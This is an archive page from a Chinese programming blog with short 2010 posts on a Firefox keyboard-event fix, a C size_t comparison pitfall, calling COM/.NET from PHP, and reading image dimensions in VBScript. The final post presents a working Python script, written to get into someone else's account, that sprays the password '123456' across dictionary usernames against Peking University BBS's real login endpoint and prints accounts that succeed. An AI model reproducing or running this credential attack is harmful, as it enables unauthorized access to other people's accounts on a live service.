“程序设计”目录存档

火狐(FireFox)中的onkeydown事件

2010年11月27日,星期六

昨天在Kaisir.Wang的文章里留言,我在输入C++的大写字母C时习惯性的按下了Shift+c,竟然弹出了个Hello World窗口。按照他的回复,这是他博客里的彩蛋。汗,一点也不好玩。

然后我把那段JavaScript代码找出来了,如下:

document.onkeydown=onkey;
function onkey(){
    if ((event.shiftKey)&&(event.keyCode==67))
    alert("Hello World!");
}

他后面又回复说这代码在火狐下无效,于是我Google了一下,原来是因为onkeydown事件在IE和FireFox的实现不一样。

Browser differences: Internet Explorer uses event.keyCode to retrieve the character that was pressed and Netscape/Firefox/Opera uses event.which.

IE用event.keyCode返回按下的按键,而Netscape/Firefox/Opera用的是event.which。

原因已找到,把代码稍微修改一下:

document.onkeydown = function(e) {
    e = e ? e : window.event;
    var keyCode = e.which ? e.which : e.keyCode;
    if(e.shiftKey && keyCode == 67)
        alert("Hello World!");
}

我还专门装了个FireFox测试,通过。

参考链接:onkeypress Event

C语言中size_t的陷阱

2010年11月26日,星期五

今天写了一个类似这样的程序:

#include <stdio.h>
#include <string.h>
int main()
{
    int i = -1;
    if(i > strlen("Demon"))
        printf("Hello World");
    else
        printf("Hello Demon");
    return 0;
}

输出的竟然是Hello World!-1 > 5?!

仔细想想,原来问题出在strlen上,strlen返回的类型是size_t,size_t的定义为:

typedef unsigned int size_t;

即无符号的整型,而i的类型是int,即有符号的整型。当有符号整型和无符号整型进行运算时,有符号整型会先自动转化成无符号。-1转化成无符号数为4294967295,远远大于5。

今后遇到有符号数和无符号数之间的运算时要千万小心。

PHP调用COM组件

2010年11月25日,星期四

今天有人问PHP怎么丢出异步GET请求。我怎么感觉这个问题那么别扭,为什么要用PHP异步GET?直接用JavaScript不就行了。

我的第一个想到的是msxml2.xmlhttp,毕竟JavaScript用的就是这个。如果是Windows系统,直接调用这个COM就行了,于是查了一下PHP手册中有关COM组件的部分。

<?php
$http = new COM("msxml2.xmlhttp");
$http->open("GET","https://demon.tw",true);
$http->send();
?>

查手册的时候还无意中看到PHP可以调用.NET Framework中的类。

<?php
$stack = new DOTNET("mscorlib", "System.Collections.Stack");
$stack->Push(".Net");
$stack->Push("Hello ");
echo $stack->Pop() . $stack->Pop();
?> 

PHP果然犀利。

用Shell.Application获取图片分辨率

2010年11月23日,星期二

昨天有人在博客里留言:“获取图片分辨率也可以用Shell.Application,我比较喜欢用这个。”简单Google了一下,未果,于是发邮件请教了一下,很快就有了回复。

Path = "C:\test.jpg"
arr = Split(Path,"\")
FileName = arr(Ubound(arr))
FolderPath = Left(Path, Len(Path) - Len(FileName) - 1)
Set objShell = CreateObject("Shell.Application")
Set objFolder = objShell.Namespace(FolderPath)
set objFolderItem = objFolder.ParseName(FileName)
Width = objFolder.GetDetailsOf(objFolderItem, 162)
Height = objFolder.GetDetailsOf(objFolderItem, 164)
Msgbox "Width: " & Width & " Height: " & Height

碰到VBS高手了。

Python牛刀小试

2010年11月19日,星期五

今天有个朋友问我有没有北大BBS的账号。真奇怪,我又不是北大的,怎么会有北大BBS的账号?我让她问她北大的朋友要,她说她没有北大的朋友。

难道真的要我破解一个么?算了,正好试试我的Python水平。

#coding: gbk
import httplib, urllib

def Check(username, password):
    params = urllib.urlencode(
        {'userid': username, 'passwd': password})
    headers = {"Content-type":
        "application/x-www-form-urlencoded"}
    conn = httplib.HTTPSConnection("www.bdwm.net")
    conn.request("POST",
        "/bbs/bbslog2.php", params, headers)
    res = conn.getresponse().read()
    conn.close()
    if res.find("密码不正确") != -1:
        return False
    elif res.find("不存在这个用户") != -1:
        return False
    else:
        return True

for i in open("English.Dic"):
    if Check(i.rstrip(),"123456"):
        print i

顺便也写了个VBS版的,感觉貌似VBS比较快,感觉出问题了?

(更多…)